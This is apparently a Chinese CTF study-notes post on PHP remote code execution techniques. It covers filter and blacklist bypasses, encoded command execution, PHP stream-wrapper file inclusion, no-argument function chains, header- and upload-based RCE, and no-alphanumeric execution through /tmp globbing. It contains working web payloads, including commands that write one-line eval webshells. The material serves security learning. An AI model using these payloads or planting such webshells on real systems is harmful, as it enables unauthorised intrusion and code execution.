RCE

前言

学习过程中参照了很多大师傅的文章,把师傅的文章贴一下。推荐大家看一下

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5501

https://pic2.zhimg.com/

知识点

管道符

常见管道符

1、|(就是按位或),直接执行|后面的语句
在这里插入图片描述
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
在这里插入图片描述
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
在这里插入图片描述
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
这里没试出来flag,用cmd试一下:
在这里插入图片描述
5、;(linux下有的,和&一样的作用)

在这里插入图片描述

执行函数

反引号执行系统命令

1
?c=echo `cat f*`;

命令执行函数

system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数即可。

1
2
3
4
5
6
7
8
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

读取命令

1
2
3
4
5
6
7
8
9
10
11
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
Sed
sort
Uniq Linux uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。uniq 可检查文本文件中重复出现的行列。

空格过滤

空格可以用以下字符串代替:

1
2
3
4
5
< 、<>、%20(spaceURL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS、%20等
$IFS$1 //1改成加其他数字貌似都行
{cat,flag.php} //用逗号实现了空格功能

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令分隔符

1
2
linux:
%0a【换行符URL】 、%0d【回车符】 、; 、& 、| 、&&、||、%26【&URL】、%26%26
1
2
windows:
%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

1、在 shell 中,担任”连续指令”功能的符号就是”;”

2、”&” 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。

3、管道符”|”左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

目录分隔符

/

如果过滤了目录分隔符可以直接用cd ;来查看比如:

1
;cd flag_is_here;cat flag_5898818519729.php|base64

过滤运算符

有些题目的正常的思路应该是base64输出出来

过滤了管道符$|$ 而file | base64也可以写成base64 file

1
base64 flag_297281061019145.php

黑名单绕过

1、拼接绕过

比如:

1
a=l;b=s;$a$b

利用偶读拼接方法绕过黑名单:

1
a=fl;b=ag;cat $a$b

2、编码绕过

1
2
3
4
5
6
base64
Y2F0IGZsYWcucGhw cat flag.php
echo "Y2F0IGZsYWcucGhw"|base64-d|bash
bash 过滤用 sh
echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
1
2
3
hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
1
2
3
4
5
6
7
8
9
oct:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

3、单引号和双引号绕过

1
2
ca''t flag = cat flag
ca""t flag = cat flag

4、反斜杠绕过

1
ca\t fl\ag = cat flag

disable_functions绕过

读文件的函数:

1
2
3
4
5
6
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

show_source()函数是highlight_file() 函数的别名

highlight_file() 函数对文件进行语法高亮显示。

file_get_contents() 函数把整个文件读入一个字符串中。和 file()一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。

image-20210522213352499

fgets()函数从打开的文件中返回一行。函数会在到达指定长度( length - 1 )、碰到换行符、读到文件末尾(EOF)时(以先到者为准),停止返回一个新行。如果失败该函数返回 FALSE。

image-20210522213415655

readfile()函数输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

image-20210522213443005

注意fgets函数的使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
$file = fopen("test.txt","r");
echo fgets($file); fclose($file);
?>
<?php
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
?>
//按行读取
<?php
$file = fopen("test.txt","r");
while(!feof($file)) { //feof 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。
echo fgets($file). "<br />";
}
fclose($file);
?>
//利用fopen的一些姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
//或者 Echo file_get_contents('flag.php');

伪协议

来自Freebuf

php:// 协议

条件:

1
2
3
allow_url_fopen:off/on

allow_url_include:仅php://input php://stdin php://memory php://temp 需要on

作用:

1
php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

说明:

1
2
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

file://协议

image-20210520202427018

条件:

1
2
allow_url_fopen:off/on
allow_url_include :off/on

作用:

1
2
3
4
5
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()
require()
include_once()
require_once()
参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

说明:

1
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、\、\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()和file_get_contents(),include_path会可选地搜索,也作为相对的路径

用法:

1
2
3
4
5
6
7
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

file://[文件的绝对路径和文件名]

1
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

图片描述

[文件的相对路径和文件名]

1
http://127.0.0.1/include.php?file=./phpinfo.txt

图片描述

[http://网络路径和文件名]

1
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

图片描述

php://filter参数详解

image-20210520202956685

可用的过滤器列表(4类)

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

示例:

php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

1
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

图片描述

配合include

1
2
3
4
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

php://input + [POST DATA]

执行php代码

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

图片描述

若有写入权限,写入一句话木马

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

图片描述

zip:// & bzip2:// & zlib:// 协议

条件:

1
2
allow_url_fopen:off/on
allow_url_include:off/on

作用

1
zip:// & bzip2:// & zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。

示例

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]

(#编码为%23)

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

1
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

图片描述

compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

1
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

图片描述

compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

1
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

图片描述

data://协议

条件:

1
2
allow_url_fopen:on
allow_url_include :on

作用:

1
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法:

1
2
data://text/plain,
data://text/plain;base64,

示例:

data://text/plain,

1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

图片描述

data://text/plain;base64,

1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

图片描述

http:// & https://协议

条件:

1
2
allow_url_fopen:on
allow_url_include:on

作用:

1
常规 URL 形式,允许通过 `HTTP 1.0` 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

用法:

1
2
3
4
5
6
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

示例:

1
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

图片描述

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

1
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

图片描述

关于目录遍历

可以利用

1
2
3
4
var_dump(scandir("."));
var_dump(scandir("/"));
print_r(scandir("."));
print_r(scandir("/"));

当过滤了var_dump,print_r可以使用foreach进行一个遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}
//当然也可以用gbol去代替scandir
c=
$a=glob("/*");
foreach($a as $value){
echo $value." ";
}
//还有一种姿势glob伪协议
c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
}

c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();

无参数读文件

只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。

代码解析

1
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

举个例子:

a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用

所以我们要使用无参数的函数进行文件读取或者命令执行

先简单了解几个函数:

localeconv():返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)

img

要怎么取到这个点呢,另一个函数:

current()pos()返回数组中的单元,默认取第一个值:

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

image-20211215002606143

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出。

show_source()函数是highlight_file() 函数的别名

highlight_file() 函数对文件进行语法高亮显示。

1
2
3
4
5
6
7
8
9
//先来一道简单的例题练练手
<?php
highlight_file(__FILE__);
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($_GET['code']);
}
?>
//payload
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

思路如下:

首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。

image-20211215002702210

我们需要得到倒数第二个元素flag.php,所以使用array_reverse把数组逆向排序

我们的目的很明确,得到倒数第二个元素。直接将数组逆序在将指针调整到下一个就好了。

但是flag.php不在指针的第一位所以使用next来把指针指定到flag.php

image-20210518223416092

随后使用highlight_file() show_source()来代码高亮进行显示就得到flag了

image-20210518223556674

1
2
3
4
5
6
7
//例题
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>

构造点

1.chr(46)

chr函数从指定的 ASCII 值返回字符。

time():返回一个包含当前时间的 Unix 时间戳的整数。

localtime() 函数返回本地时间。

1
chr(46)就是字符"."

要构造46,有几个方法:

1
2
3
4
5
chr(rand()) (不实际,看运气)

chr(time())

chr(current(localtime(time())))

chr(time())

1
2
chr()`函数以256为一个周期,所以chr(46),chr(302),chr(558)`都等于"."
所以使用chr(time()),一个周期必定出现一次"."

chr(current(localtime(time())))

1
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

img

2.cypt

hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符

ps:ord()返回字符串中第一个字符的Ascii值

1
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)

preview

同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

preview

PHP的函数如此强大,获取"."的方法肯定还有许多

正常的,我们还可以用print_r(scandir('绝对路径'));来查看当前目录文件名

获取绝对路径可用的有getcwd()realpath('.')

所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名

img

构造数字

phpversion()返回PHP版本,如5.5.9

1
2
3
4
5
6
7
8
9
10
11
12
floor(phpversion())返回 5

sqrt(floor(phpversion()))返回2.2360679774998

tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

读取当前目录文件

通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:

前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:

查询PHP手册发现:

img

手册里有这些方法,如果要获取的数组是最后一个我们可以用:

1
2
3
4
show_source(end(scandir(getcwd())));
或者用readfile、highlight_file、file_get_contents 等读文件函数都可以
(使用readfile和file_get_contents读文件,显示在源码处)
ps:readgzfile()也可读文件,常用于绕过过滤

前面我们说过数组文件在倒数第一和第二的时候如何获取,那如果不是文件数组的最后一个或者倒数第二个呢?

array_flip():交换数组的键和值

array_rand():随机返回一个数组

所以我们可以用:

1
2
3
show_source(array_rand(array_flip(scandir(getcwd()))));
或者
show_source(array_rand(array_flip(scandir(current(localeconv())))));

(可以自己结合前面总结的构造"."的方法切合实际过滤情况读取,后文就只列举简单的语句)

多刷新几次,就读到了正着数或者倒着数都是第三位的flag1.php

img

如果目标文件不在当前目录呢?

查看上一级目录文件名

chdir() :改变当前工作目录

dirname() :返回路径中的目录部分,比如:

img

img

从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径

通过dirname方法

1
2
print_r(scandir(dirname(getcwd()))); 
//查看上一级目录的文件

img

通过构造点方法:

print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是"..",所以可以用next()获取

1
2
print_r(scandir(next(scandir(getcwd()))));
//也可查看上级目录文件

结合上文的一些构造都是可以获得".."的 :

1
next(scandir(chr(ord(hebrevc(crypt(time()))))))

读取上级目录文件

直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录。

1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

即可改变当前目录为上一层目录并读取文件:

img

如果不能使用dirname(),可以使用构造".."的方式切换路径并读取:

但是这里切换路径后getcwd()localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))

这里crypt()time()可以接收参数,于是构造:

1
2
3
4
5
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位

多刷新几次:

img

还有一种构造方法if():(这种更直观些,并且不需要找可接收参数的函数)

1
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));

img

查看和读取多层上级路径的就不写了,一样的方式套娃就行

查看和读取根目录文件

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/,所以使用以上payload可以查看根目录文件

img

但是有权限限制,linux系统下需要一定的权限才能读到,所以不一定成功

img

同样的:

1
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));

也可以查看根目录文件,但是也会受到权限限制,不一定成功

读根目录文件:(也是需要权限)

1
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

读文件暂时就写这么多,肯定还有许多函数可以达到相同效果,等待大佬的发掘吧

无参数命令执行(RCE)

我们可以使用无参数函数任意读文件,也可以执行命令:

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制:

首先想到headers,因为headers我们用户可控,于是在PHP手册中搜索:headers

img

经过查找,发现getallheaders()apache_request_headers()

getallheaders()&apache_request_headers()

getallheaders()apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用

img

接下来利用方式就多了,任何header头部都可利用:

img

我们可以使用:

1
2
3
?code=eval(pos(getallheaders()));
//header
Leon: phpinfo();

img

因为我这里Leon: phpinfo();排在第一位,所以直接用pos(current的别名)取第一个数组的值

image-20211215002847766

当然,在系统函数没有禁用的情况下,我们还可以直接使用系统函数:

img

根据位置的不同,可以结合前文,构造获取不同位置的数组

除了可以获得headers,PHP有个函数可以获得所有PHP变量

get_defined_vars()

img

该函数会返回全局变量的值,如get、post、cookie、file数据

image-20211215002911853

这里要注意,leon=>phpinfo();在$_GET数组中,所以需要使用两次取数组值:

第一次:

img

所以,利用get传递新变量可以造成命令执行,post、cookie同理,这里就不演示了

1
?leon=phpinfo();&code=eval(pos(pos(get_defined_vars())));

img

如何利用file变量进行rce呢?

1
2
3
4
5
6
7
8
9
10
import requests

files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://127.0.0.1/333/222/111/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

这里要注意的是,file数组在最后一个,需要end定位,因为payload直接放在文件的名称上,再pos两次定位获得文件名

img

session_id()

session_id(): 可以用来获取/设置 当前会话 ID。

session需要使用session_start()开启,然后返回参数给session_id()

但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可

img

img

getenv()

getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)

所以该函数只适用于PHP7.1之后版本,否则会出现:Warning: getenv() expects exactly 1 parameter, 0 given in ...报错

img

1
getenv() 可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的php.ini中,variables_order值为:GPCS

也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER,没有定义Environment(E),你可以修改php.ini文件的 variables_order值为你想要的顺序,如:"EGPCS"。这时,$_ENV的值就可以取得了

img

我们来看修改后的值:(环境不同,环境变量显示也不同)

img

对此我们可以加以利用,方法同上文:

img

重定向绑定

推荐看这篇博客,顶!

https://www.cnblogs.com/520playboy/p/6275022.html

>/dev/null 2>&1

这条命令其实分为两命令,一个是>/dev/null,另一个是2>&1

>/dev/null

这条命令的作用是将标准输出1重定向到/dev/null中。/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。

2>&1

这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。

linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中

>/dev/null 2>&1 VS 2>&1 >/dev/null

乍眼看这两条命令貌似是等同的,但其实大为不同。刚才提到了,linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令。那么我们同样从左到右地来分析2>&1 >/dev/null

  1. 2>&1,将错误输出绑定到标准输出上。由于此时的标准输出是默认值,也就是输出到屏幕,所以错误输出会输出到屏幕。
  2. >/dev/null,将标准输出1重定向到/dev/null中。

我们用一个表格来更好地说明这两条命令的区别:

命令 标准输出 错误输出
>/dev/null 2>&1 丢弃 丢弃
2>&1 >/dev/null 丢弃 屏幕

>/dev/null 2>&1 VS >/dev/null 2>/dev/null

为什么要用重定向绑定,而不是像>/dev/null 2>/dev/null这样子重复一遍呢。

为了回答这个问题,我们回到刚才介绍输出重定向的场景。我们尝试将标准输出和错误输出都定向到out文件中:

1 ls a.txt b.txt >out 2>out
2 cat out
3 a.txt
4 �法访问b.txt: 没有那个文件或目录

竟然出现了乱码,这是为啥呢?这是因为采用这种写法,标准输出和错误输出会抢占往out文件的管道,所以可能会导致输出内容的时候出现缺失、覆盖等情况。现在是出现了乱码,有时候也有可能出现只有error信息或者只有正常信息的情况。不管怎么说,采用这种写法,最后的情况是无法预估的。

而且,由于out文件被打开了两次,两个文件描述符会抢占性的往文件中输出内容,所以整体IO效率不如>/dev/null 2>&1来得高。

关于$(())与整数运算

首先要知道双小括号的用处:

1
2
3
4
5
6
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
1
2
3
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

取反~

还要知道$(())的值是0。此外,关于取反,根据我学习下来得到的经验就是如果b=~a,那么a+b=-1。因此:

image-20210522200949094

如何获得-2,1,2

1
2
3
$((     $((~$(())))       $((~$(())))        ))  //-2
$((~$(()))) //-1
$((~$(( $((~$(()))) $((~$(()))) $((~$(()))) )))) //2

也就是说,默认是相加,这样也行:

1
$((     $((~$(())))   +    $((~$(())))        ))

无字母数字RCE

source命令:

source命令也称为“点命令”,也就是一个点符号(.)。

source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。

用法:

1
2
3
source filename # filename必须是可执行的脚本文件
或者
. filename # 注意“.”号后面还有一个空格

我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

注意:通过.去执行sh命令不需要有执行权限

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image-20211215003016401

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image-20211215003040815

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

通配符不只有*?。实际上,阅读Linux的文档( http://man7.org/linux/man-pages/man7/glob.7.html ),可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image-20211215003102005

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image-20211215003116695

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:

image-20211215003135317

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

image-20211215003147071

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

image-20211215003206379

那么,我们可以利用[@-[]来表示大写字母:

image-20211215003221186

显然这一招是管用的。

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>

关于eval()加?>

说明一下为什么在使用eval()函数有时候需要添加?>

image-20210522164625906

image-20210522164700326

1
2
3
4
5
6
7
原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo
在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。
